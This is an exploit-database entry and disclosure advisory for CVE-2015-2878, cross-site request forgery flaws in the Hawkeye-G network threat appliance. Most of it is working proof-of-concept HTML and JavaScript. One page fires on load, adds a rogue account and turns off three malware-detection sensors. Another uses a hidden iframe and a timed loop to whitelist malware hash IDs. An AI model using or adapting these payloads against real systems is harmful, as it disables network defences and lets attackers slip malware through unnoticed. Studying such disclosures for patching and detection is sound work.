Hawkeye-G 3.0.1.4912 - Cross-Site Request Forgery

2015-07-24T00:00:00
ID EXPLOITPACK:B0585432923B8ABBEEE5305395C44ABA
Type exploitpack
Reporter hyp3rlinx
Modified 2015-07-24T00:00:00

Description

Hawkeye-G 3.0.1.4912 - Cross-Site Request Forgery

                                        
                                            # Exploit Title:  CSRF, Network Threat Appliance IDS / IPS
# Google Dork: intitle: CSRF Network Threat Appliance IDS / IPS
# Date: 2015-07-24
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: www.hexiscyber.com
# Software Link:  www.hexiscyber.com/products/hawkeye-g
# Version:  v3.0.1.4912
# Tested on: windows 7 SP1
# Category: Network Threat Appliance IDS / IPS



Vulnerability Type:
===================
CSRF


CVE Reference:
==============
CVE-2015-2878



Vendor:
===================
www.hexiscyber.com



Product:
=====================================================================
Hawkeye-G v3.0.1.4912

Hawkeye G is an active defense disruptive technology that detects,
investigates, remediates and removes cyber threats within the network.



Advisory Information:
====================================================

Multiple CSRF(s) Vulnerabilities:


Vulnerability Details:
=====================

1- CSRF Add arbitrary accounts to system
------------------------------------

vulnerable URL:
https://localhost:8443/interface/rest/accounts/json

vulnerable POST parameter:
'name'


2- CSRF modification of network sensor settings
---------------------------------------------------------------------

a) Turn off 'Url matching' Sensor
b) Turn off 'DNS Inject' Sensor
c) Turn off 'IP Redirect' Sensor

vulnerable URL:
https://localhost:8443/interface/rest/dpi/setEnabled/1

vulnerable POST parameters:
'url_match'
'dns_inject'
'ip_redirect'

3- CSRF whitelisting of malware MD5 hash IDs
------------------------------------------------------

vulnerable URL:
https://localhost:8443/interface/rest/md5-threats/whitelist

vulnerable POST parameter 'id'



CSRF Exploit code(s):
====================


<!DOCTYPE>
<html>

<script>

/* Execute consecutive CSRF exploits */

function ghostofsin(){
 var doc=document;
 var e1=doc.getElementById('exploit_1')
 e1.submit()
 var e2=doc.getElementById('exploit_2')
  e2.submit()
 var e3=doc.getElementById('exploit_3')
  e3.submit()
 var e4=doc.getElementById('exploit_4')
  e4.submit()
}
</script>

<body onLoad="ghostofsin()">

<!-- Add arbitrary accounts -->
<form id="exploit_1" action="
https://localhost:8443/interface/rest/accounts/json" method="post">
<input type="text" name="human" value="true" />
<input type="text" name="name" value="inverted_crosses" />
<input type="text" name="domainId" value=""/>
<input type="text" name="domain_id" value="" />
<input type="text" name="roving" value="false" />
</form>


<!-- shutdown the 'Url Matching' Sensor that
is responsible for detecting known malware domains -->

<form id="exploit_2" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="url_match"/>
</form>

<!-- set the DNS Inject Network Sensor to off -->

<form id="exploit_3" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="dns_inject"/>
</form>

<!-- set the IP Redirect Network Sensor to off -->

<form id="exploit_4" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="ip_redirect"/>
</form>

</body>
</html>


Whitelist MD5 malware IDs CSRF:
-------------------------------

In final CSRF POC to try an white list malware MD5 IDs will be a bit more
complex,
we need to submit form many times hidden in background using iframe so we
stay on same page.
Seems all MD5 ID's end in 0001 and are 8 bytes in length, we just need a
loop an create some
numbers 8 bytes long and dynamically assign the 'id' value of the field and
execute multiple
POST requests in background, it will be hit or miss unless you know ahead
of time the MD5 ID
in the database your targeting.

e.g. Malware MD5 database ID 28240001

So Here we go!...

<!-- whitelist MD5 malware IDs -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>CSRF POC hyp3rlinx</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form id="hell" action="
https://localhost:8443/interface/rest/md5-threats/whitelist"
target="demonica" method="post">
<input type="hidden" name="id" id="id"><br>
</form>
<IFRAME style="display:none" name="demonica"></IFRAME>
<script>
var doc=document
var x=1000
exorcism()
function exorcism(){
 x++
 String(x)
 x+="0001"
 var f=doc.getElementById('hell')
 var e=doc.getElementById('id')
 e.value=x
  x=x.substr(0,4)
 f.submit()
 }
 setInterval("exorcism()",100)
</script>
</body>
</html>



Disclosure Timeline:
=========================================================
Vendor Notification: June 30, 2015
July 24, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================

Request Method(s):              [+] POST


Vulnerable Product:             [+] Hawkeye-G v3.0.1.4912


Vulnerable Parameter(s):        [+] name, enable, id


Affected Area(s):               [+] Network Threat Appliance, Local Domain


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(hyp3rlinx)